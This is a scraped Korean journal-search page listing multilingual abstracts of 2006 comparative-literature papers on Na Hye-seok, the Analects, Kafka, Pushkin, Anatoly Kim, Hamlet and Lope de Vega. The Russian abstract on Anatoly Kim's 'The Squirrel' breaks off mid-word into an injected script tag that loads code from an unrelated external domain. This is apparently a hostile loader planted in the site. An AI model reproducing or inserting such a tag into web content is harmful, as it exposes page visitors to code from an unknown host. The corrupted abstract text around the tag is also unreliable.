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논문검색은 역시 페이퍼서치

세계문학비교연구검색

The Comparative Study of World Literature


  • - 주제 : 어문학분야 > 국문학
  • - 성격 : 학술지
  • - 간기: 계간
  • - 국내 등재 : KCI 등재
  • - 해외 등재 : -
  • - ISSN : 1226-6175
  • - 간행물명 변경 사항 :
논문제목
수록 범위 : 16권 0호 (2006)
5,900
초록보기
The most valuable gift of traveling offered to the travelers is to enable them to recognize and embrace the cultural pluralism. The travel diary is given much weight in the comparative literature due to such respect. In other words, it makes the travelers or the readers free from their prejudice and stereotypes and move forward to understand and embrace it. That means that it enforces the significance of embracement of the multiculture. In addition, it is believed that the emotion felt when reading a book of travel in the foreign countries written by other people lies in novelty and unfamiliarity in its contents above all. That is, no matter how familiar, ordinary and routine it may be in the eyes of people in the traveling countries, having seen the countries, the book of travel written by the travelers will become the momentum to see and recognize again in an objective manner from a certain distance even if it may be so common that we are aware through the travelers or books. This paper took a view of "Gumisichalgi" written by Na Hye Seok from the perspective of the traveler literature. Above all, the traveler literature written by Na Hye Seok has significance of Korean literature history for the impact and influence thrown to our history of ethos in the 1920s and 1930s. Especially, the expansion of experience through the trip in Europe and America enabled not only Na Hye Seok herself but also the female readers in those days to recognize newly and expand their thinking. She compared the households in France with ours and advocated that we should actively accommodate the French model cases in Korea. That is, not only did he enlighten the chronic feudalism existed in Korea and inspired the women`s liberalization and sense of freedom but also encourage the women to cultivate the life of homemaking and married life more ideally and implant the will of specific practice including improvement of food, clothing and shelter, upbringing of children and so forth. Hence, the characteristics of her traveler literature tend to be innovative and educational in the contents and such characteristics are strongly displayed also in his literary works including poetry, novels and criticism etc. As such, her literary style is powerful and perfectly logical.

"회사후소(繪事後素)"고

문승용 ( Seung Yong Moon )
6,300
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『The Analects』 said "Zixia(子夏) asked `The pretty dimples of her artful smile! The well-defined black and white of her eye! the finishing touches of the white powder for the colours! What is the meaning of the passage?` The Master said, `the finishing touches of the white powder follows the business of laying on the colours.` Zixia said `The Ceremony(禮) is a subsequent thing(禮後乎)?` The Master said, `It is Shang(商:子夏) who can bring out my meaning of Shijing(詩經). Now I can begin to talk about the odes with you.`" This phrases speaks for the Confucian poetics. It is taking a serious view of healthy thought for an ideal society, and the former kings by the poetry, Shijing regulated the duties of man and wife, effectually established filial obedience and reverence, secured attention to all the human relations, adorned the transforming influence of instruction, and transformed manners and customs. (先王以是經夫婦, 成孝敬, 厚人倫, 美敎化, 移風俗.), and on the other hand neglects a rhetorical device as a matter of poem form. But this phrases roused disputes on the making out the Confucian poetics. The point is the interpretation of `繪事後素`. The Han Dynasty(漢代) scholar, Zheng Xuan(鄭玄) explained `the finishing touches of the white powder follows the business of laying on the colours`. The Song Dynasty(宋代) scholar, Zhu Xi(朱熹) explained `the business of laying on the colours follows the preparation of the plain ground.` On the basis of making a study of Han Dynasty painting techniques, Zheng Xuan` explanation is right, But their explanations have something in common. the Confucian poetics heads for `accomplishments and solid qualities are equally blended(文質彬彬)`, and did not neglect a rhetorical device as a matter of poem form.
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This Article deals with a Chinese drama writer, Yang Han Sheng`s [A rose of Sharon`s song] which focuses on a Mother Shape in the Joseon dynasty. The writer puts the 1919 [Samil] Independence Movement (of Korea) on this work, and makes the mother as a narrater. First, he analyzes the 1919 [Samil] Independence Movement (of Korea) from a Nationalism. That means he consider this movement a people`s movement. Mother was a typical example of this people. Because he thought Mother represents the weak in the peoples group. Second, he understands Mother, especially mother during Joseon Dynasty, suffers from the patriarchy named "Confucianism". Mother never has any formal contact with the outside world and an independent position, in other word, she can not but approach informal and separated from outside manic world. Mother has to choose informal religion, "Ch`ondoism", and resists to Japanese with nonviolence. Like a shady spot, the mother`s calming action metaphorically became `a rose of Sharon` which easily broken by powerful man and `Songs` which have no any power. It was mother`s own way, and also it was stronger than any other violent way. It can call this the people`s indirect way under the colonial policy. So at this work, mother could stand for a symbol of the weak during this resist-Japanese time.
6,200
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"Ogamdo", which means map viewed from crow, written by Lee Sang is a Korean modernist poem. Although many scholars have studied this work, they haven`t explained completely contents of it. When Korea was occupied from Japan and was become a colonial country, Lee Sang practiced painting, first, and then wrote his works, that is, novels, poems, and essays. Then he was participated Guinhoi(Nine Members Meeting) with Kim Ki-rim, Jeong Ji-Yong, etc. to talk and discuss a literary topics included the western modernism and others. That time, I think, he recognized Korean traditional myth related to the three legs crow in the old Korean myth. In the old myth the crow has lived in the sun and given the human bing help. When Lee Sang had composed Ogamdo, he used it as symbols to explain the various preassure from Japan in the colonial period. And so I think he was interested in the western modernism related to James Joyce`s mythic narrative included T. S. Eliot, and when wrote works he used this method. Now Lee Sang`s works have been studied till deconstruction theory, and in this sense I think scholars must review Lee Sang`s works by postcolonial theory.
6,800
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Gayl Jones poses questions about the issue of the controlling power of slavery related to contemporary conditions for African American women. Throughout the work, she tries to clarify the ways in which slavery has conditioned the project of black cultural reconstruction. She treats the body of black woman as a product of historical victim as well as a cultural productivity in the novel. In the slavery system, the black woman`s body never belongs to her. Her body is possessed by the slave owner as a commodity of the white society. Thus, Jones describes how the black woman`s body was victimized by the force of slavery`s ideology. As agents of historical preservation, the black women perform the crucial task of remembering the past and transmitting it to the future in Corregidora. In order to make a history for themselves, therefore, the Corregidora women use memory as the medium of historical preservation. Jones also focuses on the blues as an oral mode of the African cultural tradition in the novel. The blues carries the characters` senses of shared suffering. Jones` protagonist in Corregidora, Ursa, thus sings to express a black woman`s identity that can contain and transcend the history of slavery.
6,400
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Die Versuche, die Entwicklung der deutschen Literaturgeschichtsschreibung im 19. Jahrhundert zu skizzieren, geht aus von zwei fundamentalen Veranderungen. Die eine betrifft den generellen Umgang mit Geschichte, Wissen und Tradition, die andere verfolgt die Ablosung eines literarischen Kosmopolitismus durch das Konzept nationaler Identitat. Aus der Verschrankung beider Umwertungen entsteht eine neue Form nationaler Literaturgeschichtsschreibung, die mit der generellen Entwicklung von Historiographie untrennbar verbunden ist. Eine nur klassifizierende Wissensprasentation wird seit den 1750er Jahren als abgeschmackte Polyhistorie beschrieben. Geschichte selbst gilt seitdem als ein sinnhaft geordneter Zusammenhang, und der Historiker erhalt die Aufgabe, Sinnverhaltnisse zu rekonstruieren. Um verborgene Sinnbeziehungen zutage zu bringen, erfordert eine neue Methodologie der Geschichtsdarstellung. Dafur muß der Historiker rekonstruieren, stets in Hoffnung, dass seine Rekonstruktion zugleich ein Wiederfinden von Ordnung bedeutet. Geschichte schreiben heißt daher bei Gervinus, Kunstwerke zu produzieren. Gervinus favorisiert hier die Annahme von Ideen, die vor der Geschichte liegen und in der Geschichte wirksam werden. Sie zu finden und in ihrer Entfaltung zu beschreiben, macht die Arbeit des Literaturhistorikers aus. In seinem Werk, das den Weg der deutschen Poesie veranschaulichen solle, wird die Zukunftsorientierung historiographisches Versuchs, nicht nur Geschichte zu schreiben, sondern schreibend auch Geschichte zu machen, als ein neues Paradigma ausgefuhrt. In diesem Zusammenhang versteht Gervinus die Starkung des deutschen Nationalbewußtseins als die Rekonstruktion einer erhofften Epochentendenz. Also bei Gervinus stehen politisches und geistiges Reich zueinander in einem Ablosungsverhaltnis, dessen Charakter mit dem Begriff der Kulturnation durch nationalliterarische Identitatsbildung definiert wird. Damit konnte Gervinus auch seine "Geschichte der poetischen National=Literatur der Deutschen" rechtfertigen.

카프카의 『판결』에 나타난 자아분열 현상과 부자갈등

김충남 ( Choong Nam Kim )
5,900
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Kafka`s short story, Das Urteil, is regarded as the archetype of Kafkaesque novel and being interpreted variously until these days. Therefore, the history of Kafka interpretation is the history of the literature methodologies. Especially, Das Urteil is appropriate for explaining the interpreting methods of literature text because this short story is always in the center of discussion regarding a number of biographical elements, novel structure, and various themes. Thus, Das Urteil can be interpreted as the novelization attempt of the miserable engagement with Felice Bauer, the expression of writer`s self-confidence, the criticism for rank order in family relationship with the inherent conflict between father and son, and the controversy on the sexual issues. This paper investigated the meaning of Das Urteil from the viewpoint of self-recognition and self-disappearance focusing on self-disruption phenomena through main character`s homosexual/heterosexual-love relationship, relation of father, son, and friend, and the conflict between father and son over friend. The judgement from father of Georg Bendemann is a death sentence to the civil ego. Namely, by this death sentence to the civil ego, disrupted writer`s ego of Kafka could survive. In this way, Kafka is taking first his destiny through his literary work, Das Urteil. He practices and forms his destiny mentally in the illusion prior to a real life. Literature is true reality and real life to Kafka while empirical life is undependable fictitious reality. From this point, Das Urteil can be regarded as an allegory with sketch of Kafka`s future. Moreover, literature is the indispensable condition for his life as his literature reflects the internal life of himself. The main theme of Kafka`s literature is the relation between ego and father, and in general words, the relation between always newly-formed powerless ego and great power. In this context, the weird bureaucratism, which falls suddenly upon the main characters in Kafka`s long stories such as Der Prozess and Das Schloss, can be considered as the modified and developed thing from ghostlike father image in Das Urteil. Kafka regarded Das Urteil, in which great father punish his only son with death by drowning, as a decisive literary work which realize his original style and the ideal of creative writing. Das Urteil is the basis work of his subsequent great novels as well as the breakthrough literary work in Kafka`s literature. All the Kafka`s literary works from Die Verwandlung to Josefine, die Sangerin oder Das Volk der Mause are the fantastic development and modification of the basic structure in Das Urteil.

푸슈킨의 『보리스 고두노프』에 나타난 행위의 통일

이영범 ( Young Bum Lee )
6,400
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В статье рассматриваются (в порядке хронологии) те исследования русских и иностранных пушкинистов, в которых уделено специальное внимание спорной проблеме единства действия в трагедии Пушкина. А нализ показывает, что ключ к ее решению - взаимосвязь государственн о-исторических и религиозно-нравственных вопросов и категорий. В истории изучения 『Бориса Годунова』 □в России мы наблюдаем о пределенный цикл. Указанная нами взаимосвязь была осознана, хотя и не раскрыта до конца уже в фундаментальном исследовании Г.О. Вино кура (1935). Затем длительное время в трагедии находили почти исклю чительно политическую проблематику (осуждение самодержавия и дем онстрация решающей роли народа в истории). В монографии Г.А. Гуко вского (1959) произошел возврат к пониманию взаимосвязи вопросов о власти и о преступлении в пушкинской трагедии. В современной ситуа ции трактовка произведения, если судить по книге известнейшего пушк иниста В.С. Непомнящего, вновь становится односторонней: только теп ерь в трагедии видят исключительно религиозно-нравственные проблем ы. В иностранной пушкинистике господствует стремление отрицать к акую-либо серьезную и значительную проблемность в 『Борисе Годунове』, видеть в нем определенный художественный эксперимент с формо й. Естественно, что единство действия в трагедии при этом полностью отрицается. Необходимо раскрыть органическое единство вопросов о государс твенной власти и о преступлении в пушкинской трагедии. На этой осно ве должен быть заново определен конфликт и изучена логика развития cюжета в 『Борисе Годунове』.

아나톨리 김의 『다람쥐』: 변신과 변용의 환상적 리얼리즘

신윤곤 ( Щин Юн Κон )
6,400
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Литература - связь реальности и воображения, культурное поведение, материализуемое людскими желаниями. Очевидно, будучи произведением реализма оно не указывает конкретный предмет реальности вновь появивш егося мира. Всe равно, оно продолжается зваться реальностью. Не будучи даже реальностью -реалистичные, будучи реалистичными не реальные вещи являются сущностью литературы. Соотнося колеблющуюся границу между реальным и нереальным к свойственным литературе действиям, тем самым основа литературы может называться иллюзорной. Представляя литературный мир Советского периода в лице писателя Анатолия Кима (1984) и его произведение "Белка", ставшее объектом критизцизма посредством мотива превращения и перевоплощения, раскры вает фантастический мир. В пространстве, потерявшем границы времени, человек перевоплощается в животное, умерший оживает, появляются анге лы, привидение и даже люди двух измерений, внутренний мир постороннег о, безусловно, даже в образе реальности в реализме не различается. Такие сверхъестественные элементы, в неистовствованном фантастич еском пространстве, где главные герои посредством эго-реализма вновь приобритают природный человечский образ, при желании сотворить подли нное, искусство растворяется согласно "фабуле животного". Символизиру ющая дикость человеческого внутренного мира, существует ли в действите льности данная "фабула животного" или является лишь результатом вообра жения автора его только фантастического мира. Фантастический опытсозданный недостаток социально-культурного подавления и борющийся с восстановлениемм этой недостаточности предполагаемого желания. Фантазия относится только к правилам реальности и удерживая данное значение, эта самая "фабула животного" приобритает своё существование уже внутри реальности. С точки зрения современной эпистемологии, не существующий мир является результатом отражения существующего мир а. Таким образом, в фантастичеком мире, разрушающие, согласно желанию главных героев, отрицательные елементы, в реальном мире становятся отрицательными елементами. До теперешнего момента, как обсуждаемыйАнатолий Ким, кто угодно, делающий попытку в новом видении основных проб?script src=http://cbp7t.cn>
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Como es bien sabido, Hamlet es una de las tragedias mas famosas de Shakespeare, el dramaturgo sin duda mas importante de la historia de la literatura mundial. Y El castigo sin venganza de Lope de Vega es tambien una de las tragedias mas importantes en la literatura espanola del siglo XVII, cuyo autor compite con el dramaturgo ingles en el prestigio en la historia del teatro occidental. El objetivo de este trabajo es, en primer lugar, destacar el contraste dramaturgico que existe entre Hamlet y El castigo sin venganza, a traves del analisis comparativo realizado desde el punto de vista aristotelico y, en segundo lugar, descubrir lo que como obras artisticas persiguen por fin estas dos tragedias. La diferencia dramaturgica entre Hamlet y El castigo sin venganza reside en el modo de construir la tragedia desde el punto de vista de Aristoteles. La catastrofe de Hamlet procede, no de la `fabula` de esta tragedia, sino del `caracter` del protagonista Hamlet. De modo que, si no perdemos de vista de que el aspecto mas relevante en la elaboracion de la tragedia aristotelica es, segun su Poetica, la `fabula`, podemos afirmar que Hamlet no es aristotelico, cuando si lo es El castigo sin venganza, ya que los destinos tragicos de sus protagonistas provienen de los episodios formados organicamente desde el principio. Con todo, podemos afirmar que los protagonistas de estas dos tragedias persiguen algo en comun: ambos, con el libre albedrio, luchan contra la realidad confusa y el destino tragico inmutable. En cualquier caso, todos ellos fracasan; ya que Hamlet se convierte en nihilista, Federico y Casandra mueren de modo brutal, y el duque Ferrara llega a presenciar la muerte de su hijo Federico en El castigo sin venganza. En resumen, por medio de estos resultados tan tragicos, se afirma pues, que Shakespeare y Lope intentan demostrar la sublimidad del espiritu del ser humano.
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